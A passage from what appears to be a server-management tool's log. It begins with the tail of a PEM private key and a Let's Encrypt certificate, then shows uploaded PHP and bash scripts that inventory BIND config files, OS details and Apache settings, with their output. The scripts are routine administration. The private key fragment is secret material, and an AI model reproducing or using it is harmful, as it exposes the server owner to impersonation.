4vkjsllAlTL312Bo0rZRwcXo7qe7XDMboSHbAhfYrihCAnAryV7RxmM3h5OAw8uK
clOTVOHpl7vbqQUxjW880W5Sw8ueMXPwc4pLA/JcCi06Wnshfhxq10cKMQK/2Yo+
8x3gF/YyP4EOs4wUDATttNLYockFPaV82zB0nTMK6UKoLcGzxNZoUVzyX+aGd1oV
4X8NAZ1kTuFdgV1GHsytlbg76ogtkQo0oli6P8XuVQWGhH/+SCs9NDsu/6x++ZFD
hKveSNvBplFPh4p1SXjDfq4kaGqqdHLpQXNmhFOLC+lb4/uC3E6R68fXDyUTMACq
MEz8Qk3RAgMBAAECggEAM1e//5E48WH7oKyqqEN5EOn02BSj3Ypck6ecTUGJgPgs
tRJpWqvMLgOjuWkYXwoB7V1kGFxiR/CPaq0elGKcvfWxeiCglL0Bsh3r2SmNN5gN
3UD9+8fBEUjcUu97lEC0SUaFlCepbnavN3oyEPqqqku1l4wkGWWlXeq0A66aRI45
9z1L7B1NyniGBU8odG9QWLT8a5Wqr+gwh2uJN76XGEDlKUYjTIPS7ciCIpqQl7L2
lQBD0iVbwHZOGDFC04CJ2IUuRyzTx1Umq2q3TIcLYpO39QbRVxH7STrF2dzlGJuK
wTjl03zeSa7gjWbcds0CAUoWN9w3MGrsBPKBhXFPPwKBgQDa/yNhlUZ/C+lo6lpT
rZ9kM1+Idhm6EVIjaKp2J85AfwystEL5Qnfp4RlGaE3Vjh9IPu9WmDScNDcN7NgU
lnDQqCY/ePlwlLgHAll5bN/nmDiOQYoEPZo9kpvKPpoCwPGG4/WeC2eW7A/T4yzD
HiWEr4ZtNAMMlv7mDAqWXRETVwKBgQDIkO3uvm19RZ8jBRbpy/TdFSX6M+rE4Gh6
vIn9BPm7xVlsLqdd0ytasBbCKCNKXfk1+Up9okk4kj6D+MpK2matbQnfvuLnuVhg
ktpY0ucPEfav1itxIzFWhbon0EjFQ8MP/ICuHk5jk1G2UgoDp6cvg/pwUCNtob0r
aAbjRbFXFwKBgQCE7YEoZleYHj7bdATH7gdl5tkCF82d542X+JwfhCHpfDTRT8mn
SvVGfV++IOm9yrqqO6lDQrgMaJVSWoT+WiK4RJiSxneCIoNhncd5sOBnzznk/1sr
H8lTvn3Z0Q3ixgLVAeHAwONr9HXXA3nUJaRYWcKa3otLRQwLzxtOEcefmQKBgQCL
wcm6OgGLcE8ilPJReeingYwUG8c05vaGyAgTQjtO54aXRq8jRvmH2PoS0us8b90v
CgYpI0OIYwei6GL149f2cuuVeKseM13s9Yemq1eMfcT64+8jiBViKA7+nTmIE97B
rf5w1fdjlY0z0VjfER0DlCCX0I/PXgu2Sme6SJ75gwKBgQDWZR2Fa4C0fyASXW6f
UgfW9HXHdN5q3sv4WFqPvArKTHJlx3B6LvOL2yZLGW1rnnI8tPiZw8LOYYYzmfpV
miWSHTy8XKJMtWJY/dG+YV2G+gbNVqeKd1kEKeYl6evAfZhcBlUHKqn1vPPPkKAz
+ilf+BPfiIWUFBp6ZA92v4qhXw==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-12-31 19:40:21: Establishing a connection
2025-12-31 19:40:22:
PUT: /tmp/pkp873126
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-12-31 19:40:22:
runuser -l bind -s /bin/bash -c '/tmp/pkp873126; rm /tmp/pkp873126'
2025-12-31 19:40:22:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-12-31 19:40:48: Establishing a connection
2025-12-31 19:40:55: Establishing a connection
2025-12-31 19:40:56: Performing Server Status
2025-12-31 19:40:56:
PUT: /tmp/pkp357526
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
cat $1 >> $temp_file
echo >> $temp_file
}
show_hostname() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
hostname >> $temp_file
echo >> $temp_file
}
show_arc() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
uname -m >> $temp_file
echo >> $temp_file
}
show_uname() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
uname -r -s >> $temp_file
echo >> $temp_file
}
if [ -f /etc/centos-release ]; then
show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
show_file /proc/swaps
fi
show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'
gzip -cn9 $temp_file
rm $temp_file
2025-12-31 19:40:57:
chmod 755 /tmp/pkp357526; /tmp/pkp357526; rm /tmp/pkp357526
2025-12-31 19:40:58:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.3 LTS"
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.3 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.3 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename Type Size Used Priority
/swap.img file 4194300 2816 -2
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
rog
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-90-generic
2025-12-31 19:40:58:
PUT: /tmp/pkp540427
#!/bin/bash
# get service version
apache_output() {
sub_file=$(mktemp)
script -q -c "$1 -V" $sub_file
cat $sub_file
rm $sub_file
}
apache_output2() {
$1 -V
}
apachectl_output() {
temp_file=$(mktemp)
apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
pid=`cat $file`;
cat $temp_file
rm $temp_file
# also get user/group
echo pid: $pid
if [ -d "/etc/apache2/sites-available" ]; then
echo available=sites-available
